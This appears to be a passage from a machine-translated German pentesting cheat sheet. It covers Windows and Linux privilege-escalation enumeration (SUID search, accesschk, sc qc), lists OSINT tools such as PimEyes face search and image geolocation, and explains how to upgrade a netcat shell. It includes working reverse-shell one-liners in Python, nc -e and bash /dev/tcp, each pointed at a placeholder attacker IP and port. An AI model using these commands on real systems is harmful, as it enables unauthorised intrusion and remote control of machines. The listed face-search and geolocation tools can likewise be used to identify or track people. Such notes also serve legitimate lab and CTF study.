find / -perm -u=s -type f 2>/dev/null
- Diese Dateien werden mit den Berechtigungen des Eigentümers ausgeführt, anstatt dass der Benutzer sie ausführt
- Suchen Sie nach Berechtigungen für alle Dienste
-
accesschk.exe -uwcqv *
- Suchen Sie nach Diensten, die sich nicht unter den System- oder Administratorkonten befinden
- Abfragedienst
-
sc qc <service name>
- Funktioniert nur in cmd.exe
Achten Sie auf die umgekehrte Shell
Reverse-Shell
- revshells.com
- Vorlagen für praktisch alles, was Sie benötigen
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Holen Sie sich eine interaktive Shell
Linux
- Führen Sie den folgenden Python-Befehl aus, um es teilweise interaktiv zu machen:
python -c 'import pty;pty.spawn("/bin/bash");'
- Beenden Sie die Netcat-Sitzung mit
CTRL+Z
und führen Sie stty raw -echo
lokal aus - Geben Sie Ihre Sitzung erneut mit dem Befehl
fg
ein (und anschließend bei Bedarf mit der Job-ID). - Ändern Sie Ihren Terminalemulator auf xterm, indem Sie
export TERM=xterm
ausführen (dies ist möglicherweise nicht erforderlich). - Ändern Sie Ihre Shell in Bash, indem Sie
export SHELL=bash
ausführen (dies ist möglicherweise nicht erforderlich). - Erledigt! Jetzt sollte Ihre Shell vollständig interaktiv sein
Windows / Allgemein
- Installieren Sie
rlwrap
auf Ihrem System - Jedes Mal, wenn Sie einen NC-Listener ausführen, setzen Sie einfach
rlwrap
voran - Beispiel:
rlwrap nc -lvnp 1337
- Dadurch erhalten Sie Pfeiltasten und einen Befehlsverlauf, aber keine automatische Vervollständigung (soweit ich das beurteilen kann) für Windows- und *nix-Systeme
OSINT
- Pimeyes
- Reverse-Suchgesichter im Internet
- OSINT-Framework
- Website, die unzählige OSINT-Tools bündelt
- GeoSpy KI
- Geospatial Vision LLM, das den Standort allein anhand eines Bildes schätzen kann
- Überführungsturbo
- Website, auf der Sie die OpenStreetMap-API abfragen und Ergebnisse visualisieren können
- Bellingcat OSM-Suche
- Website, auf der Sie die OSM-API einfach abfragen können
Sonstiges